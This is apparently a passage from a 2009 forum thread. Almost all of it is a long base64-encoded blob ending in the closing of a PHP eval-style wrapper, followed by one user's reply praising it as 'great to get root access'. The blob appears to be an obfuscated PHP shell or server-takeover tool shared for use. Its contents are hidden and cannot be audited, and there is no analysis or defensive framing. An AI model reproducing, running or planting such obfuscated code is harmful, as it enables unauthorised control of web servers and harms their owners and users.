Ci8EjCRoYAD1CnyXFOQWaSya5nDQ/OAIfWwVk1347GKzEL9HgQleQuSR6PLaFmUrLYl+G55VPD9SLkZ WcUqgxL3Vcq7K+/wWjMN2rAh7jZj8eQH7hYZOZPt5630RdJnT5bb70uAAXApKPwke o8Ms1p1a6r43RS5QUrPlaowYt6agHgrnU63dziX1oOwqcCpJxe KpWg5yqMWYvpWoxnFqfKYMUa0HqM0FcpPxMtdqHtoPhy59CDxW u0CE4jP38sIoTdMuOlopjpGXDPkr7kflbjPnDV1BYL/kJyQiO3hBzLp+b28LVhIl6EZPiCI/Efn/BX5jFwp9Tmu35s/TbxY3+iKYA4h+l8aB1nOo5UpEsDS8n8saQ47vYP7TOUMx6ZHoS FSUniWIPbEZoVC+HH7ak5l9Gf2EjuOuGp6G1+CCG4IvssuaztQ mPzRqpCVaXffwhBCEWYKxW5pIxRmr8pJug8DA17hhvVmtaZZlb 4XlkldA9pHyzGu5K04t/lxJeONsl6kbYbimC48xItzDINO2ksMdScOOnEfKz04Sbhr9hRn 995BCBExzAU5vNfw2QXymHyFJ4RRLS2jYM91sDvDpXcqQtqjWL 5/IyORvSpLjix4gNDLL7gwkxcKnh9AzkLx+pMbujVSaC+CMUEcm3 tv8bUn8dlM8+NivHead83fcIiiEt5RB8kkiixvidBbrGDIYToz ks8FGhWJRqN+jt0HDcts6RG0I5KcJyy8A5PlFqVlAM6SEzliUB Wb/t19uCKK4S0VWhQxCaJMwna4dV34zHFkYrnlGS0rF03gB6s9K8Z I2PDI2hubeKuto9eHu2/ASMUgprXvTB2xb/ueGlFvi1yHYyh3LuSBnQ7NvjSEvE8vB7FqQRx/Kg7/FliFJn9GuRst+1dTjWnKQw2IBA4fKpaHiqs3LDZfnY0lmP2Q4u 5ZFzrYmBPNvmheI8ATpklGw8d+fTcIjg6vSQpd110Q17XOhKOu VZiQh/nrGJKaN1pBoomDT/5Yc7I3qzqy/YylI6u1vOpZ7Isscqr2CLQa0GbNV8nfRUPOa7dVdGLs2pwlZvL hMcCkh31bYSG6b6rHlx+qHWhDxtxGzNC2XMpjs5fbnYPOl1fw3 xC1IIlo+VVr3UKCp8bXTe1SkCBpdeQQeLfjjUeau1cMSkg5f+a OgYmmc4hth7gwbOh0gCj9yXwnRxS3fBHMd+ymq/We/FkvWf2YYpRb6DyLIU5+urxpC6VkF/9p04iOW/BPZ9mlKV6UFqrulK/JsOlMBehycTYrmAr/y3l1JlmkeEmpL8eVKXP0njuwXtd3dVIiYUz5LpNvtGejV4KERc Ta+/ayyDU6QDtP1zr+QsndEAG2fPzly9eLWRw12VPrC9wFpJ1VfgfN oMZLWxesUnzv45elFVib/n5ltOLyM6Gs1cIyZH1+xQGnsEl4kyfWMvydY3bUYbnthGPjp8j RQhVVhJiw5urX9JdyHw3s7CRtWHvb4nbL8s0q/tRB6PZY9u0CkQkk/IgEdBYnhAVJOl5tMos/8sNgf1QUv8k/9u+mRFWM1KJI2GM8SzD8++McxFI//XHblWXh7Pfv4C+hEEOZYGkY9zrWooMnXQvwpEQV6gkPSioKS4a FFxP7m/6Es4SmFfosUojxBJqWZdwBVKDcMZ7nY10u8xE/ngwomzJ79nrPlP+MLmVCHWhBYmFgopkk4fKcEgVYhJ5hOPkIUp z5eh9niQI7SnOojSH6cAVB7F2DAPPaRilpYylZpnCf/lQPnqhC07PwDCaejGLYh/85QoDxx5Y7fRXAtMDj0q0zzhUTTF/kYKSxye18gyswtg/y+7CZ0v+MXs0pMn9Mu5drb7TMMPtprPIxFfNcfec1rYjk75ZCM A7He1X9KfdC/uoQ3Yib6Myr1gWQvXxg4zPyfNb6Ztxdw3KMxACbh08H62ec8Q4 PeRhySASS6WJ5h/HvpV8ci/tQu5G4EP6n7U6l44471MNVKRTgrLtmOftnCmI4NGUdLdIgXYa7 oBDY7LN7d+sKKmuk2TYFy3WHy5WM0BeNQ9hKpXXs3dbjiGN+Ej sNtwNrN6wlDYSRTv3NSjT1CnBGN/ePveHeD67b65g7IGrh6oMfrIdbMOpGodNQJy1W6AuVq4Q224BM ZLS45CSTvNOrhomsMFTiGlmhPvCFROzjl9TvkQlmJVqQ6WLS27 +USKLVLX2LPTNphzZEoqG2K2Zhj4SsDypqCoFBIFlhhtttGGV5 YBl/9sjDN6ynqVqjQ7HGpd+4WKnex5TZBMQeA7WirDhig2GFz0A9YB y5aJiNb656yGIuKZXuF2Y0jN4/XQPvScUdrctH2Ug+p3xuKNwOqZd+uCdSeMwOBwVEnirMMQNODE/IwjnL1erhl8CeE0B8lC+7hGV00VRVlDn5Fcck9Qh6KUAsEkGhW rqp0HiTRl4t1ZdpPbeawEvTEsX64zpW99mcpma/hqIOijFLgH7xP/IbkMwAxJn1ipGhF3JbCRijpgYg4C/3fiWc1sy/KbiKO3Vu3mX1rIijoQMro3OLuHcZs2eY4lPOz/BZ1nQQWvOlAIZCBlN3AQEWPfg6D8hmiu4CIYeQALABxgwZlucG m4Zy3ztSM4TZn7xDpFz3vM6zwO2k94uxG0HDHgbaHBu0BewmIQ Ix1SLZFfF7XnxmTbn7DL12q7898Lk0dIzUSuO2fIugXb/x+4/cIuN7pUcL/CK4Ndns2BHq2XxvIQw0J2bsx+RUm66/VnG33GQgQw9N+YPE86DuzORglTiu+Uf4Pv6NA0pbnlt/XrTwWlajMIk8bPoGMtkKMzgzind/VjFJgsAKm4yh56Fdb6O+swYAWaZRqfpzA+v8+HUOb2pueyymP9 ArIwfiMHU5uxfE4majrB0BIx09lWyz1WdSwMv306IwiVe2WGAF rPSsAIzDJ2YwfCcLe2TpDv9NDAj/vaj8zhnjHD31O2f5d9RfiodfWjYiJJi+HS4VI/H9qSKuLhdEoL2OHx02NaKaU3O2eZFY8sytWtlUdEepW7CQuyba hIdfsQ5Q1q3tQ4x9zGLM9w3WRhUmpBE2H7uxPqwlWfhUR3RkSm VzlgaIuKykwbzYPjpFq34TqrIuCvI7Tps+qwecuVpEitvOdMED hy2npErO51L9QpCP7I0oKVy9nrzoE8LLNuBDVgMgstr61dM6ob HpA+0WudK6VIxS4eCtiy4AmEPU57dQkaeWfhgPd/qLV8lY7PMSzJRAJ6tg5deb9dN18McC2hIUQ5EPl4dd6PwiAUDN KpKdMLUprTZsZwIMVKAfnZNrwV24j4zKSnfgbBsG02Y9bZynzi UHXA5UrF2uC8mWUR3+ZNZO4JrFVR+8Ow/u5IkiJCo/4yrmaXBj1YQ+NdTPzZSZKGo5xV9CNS/fdu8dr03ZsJe9j6slVQ9jOQHsCTtitivJOsgUado8aRjGIu6iM lervI642Lx69IOFmGJDN13RO9Su2tHO+07aLvIzXrD0i4/emC4Q41KAJa7c5APYHox0DLFjKs+6EW+e9F8WGkeI6nlL4FELv 1ZhZDvvkUTXqe1E55UWOm+xiyPTiuPUdXUOKNfzNVHPOGN0cJQ VxcqRMDOlc9mJXxRba64fVmeWWzAb7vLI34cHUOtEJbn5rkGUO zcABqX6q9lCCdktiMEdrl+oLCZeanQseFuEiTbm5n1Lzs53kpu B+3eIEi2mhljmQ2P0JxrHq3IWZ7iO63gkBzninvOBo/vgeHEhphBK8R9VOyCvDRtZj8dE4Tku+LzDGWddP2wQhAq20rM2 Ub7UYfFbCVwvvtED0ORwQTgbnTJ1IU86FYu0r78A7O2aV4JeiU C1VlXt9Yiswp3EOBrrCLoOZuXYABtcmEkrD5Hs2sWE15Nfd8wf gVyWTWu5mcEd00ypsyHoO9E/hnu0A7oSI7N7JPtuWyqV6IDsT756KLPQX5QOOcHh2xtMTwcwXB 40X1pO4q9fgCpR8zLPf4F9Smucmrs8okrdFGm22zSSvMqdmvwe nLiX1A1+NAhKyWDyRWBeHyWbgndultN2Pai8nZFBLVlokvxyKS GgelBifSOLS7cpgmRYavUwX6KvLdid1Vde509u4oTQYIwfxQyi DY2z8JGKaWMpu56vKuN6yssmdk9x7nv+1r3LNBT217t1UAx/WBTpx9u8hdyde/U3dT/Gjryb9MOC7HRzzgEL49eTqr4prau3/Ew3Q22TwvGqZ82rODg3exjEEzNgMbvoJAz3qwXycRzt3A1iOYD 2+WahZEpBuoBmF5qulyVOUwWyMfv5gNUiIYXVQPQqvnjqCIs1N VYYYmReB9MiQja26RJiIzMQbo7HMH5hwEesUF78Ob+VJGeKDvj r17nFQh2VEnR9LIraEyIuB5n2VaNzldAXmQXqDaV5r6gouzwYr +nNJoIOi2fBe/TbuOSL0MlejTSOkfmOByCKQRCGwMFUMxYWQgZbVjStKTbu76sR DT35bJhTbUNT8zfjICVScW5SioDvn7qCJcspE2UdxqY/gGst0h9W0+1LGWh0TcLARM4nGC5GsKeRJ/jk/A30QOHBbDrsgqYIsZ6RSqXqUoyKsXBGnLBb+/towKL+GO1jY/yTwVd2/CoPVqPuR7alKVYhJUpWka3xY1sG0dfv2xtnfYfW5RiuFYMH4Yu yZVE+AsANd1U6troNvNXYijxV/iXO+SOckoMti4yiFLSfXXVuRp1ecXM+jXYGj8WhPWIVfKibKuW 3dY+rKVeIJmIEXmpw4yiwy/hNp+uKBbIm0KZjaIuZR/WiSrCybIZNH+T7u7VjU1SNGlcieYA/1AN/UUgR9v22EbtoO7HeCK3FpOtQnDTlqM32hAZh8ovoXsK71/J8pTsOnspPL9O77b2WxiKJ59wbUfJ6jOYLAQGGD7NensnOzwXf HXIttvfuIsLn/ITSsKWJzZePoNjOLHGWUC/Vm699G1cxQpt/iC1X20quVl89fBGQ4qwZJoHEIy8Cexa+KJx2YKpnBm18eViXtb YtwdIUJrN/EEULxi2x/MEHw1P/rBL501yVF1XFjHak2G67hSgECdu5OiBpz2j302vhi3duxzxiTT CsPmF1OFe4LiIqVbyvHVBF0pHKcbkrMB0TwIk3b2bTijl58tBv pPW79pB0ECU8fyoqQsD0guRIYcZ2YdtaX9VHbkBGF4nmSm4qAO wujgaAzAXG3Ui8Fct/WyswvvpvozxPCZVlYygLe4Ch9+RjLGlB41K8N2gkPtC9Gu6sDr zTpImm75KplaQteoG32eMzF5xHM5ooP2YhbmZgdZkIrjnYv5ID JIs9Srs1cHbUvG6p9EueNhH+5/8o4oMlJGYxPAigIFU8DwiC+gaCx168Pwdrqv/+33/++edf//Pf//zff/8f')))); ?>

blas
10-28-2009, 07:00 PM
Great to get root access :d